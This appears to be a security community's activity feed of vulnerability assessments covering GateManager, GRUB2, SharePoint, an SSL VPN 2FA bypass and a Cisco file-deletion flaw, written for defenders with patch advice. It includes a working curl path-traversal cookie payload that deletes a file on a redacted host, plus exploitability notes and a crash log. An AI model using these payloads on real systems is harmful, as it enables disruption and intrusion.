Activity Feed

The web functionality is implemented in the x86 gm_server binary.

Using the Claroty report and a hunch, I decided to test the Content-Length header for negative values:

The discovered bug occurs due to improper handling of some of the HTTP request headers provided by the client.

[snip]

CVE-2020-14500
IMPROPER NEUTRALIZATION OF NULL BYTE OR NULL CHARACTER CWE-158
An attacker can send a negative value and overwrite arbitrary data.

On the /admin page, setting Content-Length to a large negative value yielded a segfault in the gm_server process:

[30665.430945] gm_server[25115]: segfault at 56e35df1 ip 00000000566c0816 sp 00000000ffcb6bf0 error 6 in gm_server[565cf000+175000]
[30665.430952] Code: e8 e8 ee f4 ff ff 89 c7 e9 61 fe ff ff 8d b4 26 00 00 00 00 8b 95 60 02 00 00 85 d2 0f 84 93 00 00 00 8b 85 68 02 00 00 31 ff <c6> 04 02 00 8b 45 14 83 f8 02 0f 84 34 fe ff ff 0f 82 84 02 00 00

Note that a watchdog restarts the process when it crashes.

For GateManager 8250 on Linux, the gm_server binary has NX and PIE enabled. The embedded 4260 and 9250 models have only NX:

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols        No    0               22              gm_server.unpatched

Exploitability of the embedded models seems high, given that PIE isn’t enabled. NX and system ASLR can be bypassed with ROP.

The exposed target population may be comparatively low to, say, the whole of the internet, but Rapid7 Labs has noted—rightly so—that a couple thousand exposed gateways is still a pretty concerning state of affairs when those gateways are protecting industrial control systems. Pre-authenticated RCE in VPN products guarding ICS/OT networks during a pandemic is, as the kids say, bad news bears—and that’s not to make light, because this ain’t light. The good news is that there are patches out for all these vulns, even though the downtime required to patch and verify effectively might be nothing to sneeze at. Longer analysis and recommendations by smart people here.

Researchers from around Rapid7’s world (and likely others, too!) have said today that there is likely lower-hanging fruit that will be surfaced in the coming days, particularly around nerve-wracking findings such as exposed Telnet administration ports. There’s a lot of well-justified attention on this grouping of vulns, and with that attention comes increased focus on attack opportunities in general…and the stuff we see clogging up our security noise machines won’t be the only stuff well-resourced attackers are paying attention to. Patch as soon as possible (and yep, easier said than done).

A buffer overflow exists within GRUB2 affecting how it handles it’s configuration file. An exception occurs when the contents of the configuration are too large for the buffer that is incorrectly handled causing the contents to be written anyways, thus over flowing the buffer.

In order to exploit this, an attacker would likely need either:

• Physical access to an affected device and sufficient time to mount the disk and corrupt / infect the GRUB configuration file
  
• Administrative access to running system to corrupt / infect the GRUB configuration file
  

Successful exploitation of this vulnerability could corrupt the secure boot process and compromise the integrity of the system over all. This would effectively allow the installation and utilization of a bootkit. Developing a weaponized exploit would be aided by the lack of modern memory protections such as address space layout randomization (ASLR).

Patching is a complicated process involving updating the firmware from the vendor and applying a denylist which must be done manually (for now at least).

For more information see the Grubbing Secure Boot the Wrong Way: CVE-2020-10173.

This is a web hosting control panel for CentOS, sort of like cPanel. RCE in one of these could mean compromised user websites and data. Web hosting used to be super popular in the 2000s, but it has largely been supplanted by cheap virtualization and “cloud” platforms, IMHO.

I make some assumptions about this vuln, since the code is ionCube-protected, so there’s no source, only PHP bytecode. Setup is also a nightmare, and there are no provisions for tracking or rolling back changes. Patching can get sketchy.

I did not analyze the vuln, as attempting to install an older version of the software consequently broke it, and deobfuscating ionCube takes a significant amount of time.

I’m going to quote @hrbrmstr here: Since the registry config workaround doesn’t require a system restart, it seems like this is going to be a niche exploitation issue for organizations that haven’t config’d or patched their way to safety.

Still haven’t seen PoC past the DoS from maxpl0it (which is a very good Twitter username, unrelatedly) that surfaced quickly after the vuln details were published. Anecdotally, a few other researchers have mused that this probably isn’t the ripest or most valuable target for exploitation (famous last words, eh?).

I wonder if this has SSRF-to-RCE potential after reading the recent security bulletin.

The advisory isn’t worded very well, but it seems that logging in to the SSL VPN with a different-case username than set will allow 2FA to be bypassed, opening up the VPN to password attacks, such as password spraying.

Successful VPN access to an internal network can open up a lot of doors for an attacker, turning an external compromise into an authorized internal one. Many corporate services are hidden behind VPN. That said, proper network segmentation and secondary access controls can mitigate some of the risk. The “attacker value” is “medium” because this is just a 2FA bypass and also because of the listed caveats. It isn’t terribly useful on its own.

The KB article is written much better.

A deserialization vulnerability exists within Microsoft Sharepoint that could allow an attacker to execute code on the server within the context of the service account. The attacker would need to authenticate to Sharepoint and submit a specially crafted POST request to a specific resource that implements the ContactLinksSuggestionsMicroView or InputFormContactLinksSuggestionsMicroView control. The following two resources meet this requirement:

• /_layouts/15/quicklinks.aspx?Mode=Suggestion
  
• /_layouts/15/quicklinksdialogform.aspx?Mode=Suggestion
  

Alternatively, an attacker with the correct privileges may create a page which implements this.

For more information, see the details analysis posted to srcincite.io by Steven Seeley.

The file deletion doesn’t seem “useful” beyond disruption or denial of service against the web services. The files come back after a reboot, too. Not much “attacker value” here. The PoC is easy to weaponize, though, so please patch to avoid disruptions.

ETA: Hey, I can “patch” the vuln with the vuln:

wvu@kharak:~$ curl -kI https://[redacted]/+CSCOE+/session_password.html
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Cache-Control: no-store
Pragma: no-cache
Connection: Keep-Alive
Date: Mon, 27 Jul 2020 19:57:23 GMT
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-XSS-Protection: 1
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob:; frame-ancestors 'self'

wvu@kharak:~$ curl -kb token=../+CSCOE+/session_password.html https://[redacted]/+CSCOE+/session_password.html
wvu@kharak:~$ curl -kI https://[redacted]/+CSCOE+/session_password.html
HTTP/1.1 404 Not Found
Cache-Control: no-store
Pragma: no-cache
Connection: Close
Date: Mon, 27 Jul 2020 19:57:35 GMT
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-XSS-Protection: 1
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob:; frame-ancestors 'self'

wvu@kharak:~$

This uses the vulnerable file to delete itself.

This vulnerability may seem very useful, it is probably as interesting as other RCEs affecting Microsoft Windows OSes, however public exploits rely on the existence of a registry key (fDisableCam) not being present by default (it has to be manually created) thus not found in enterprise networks.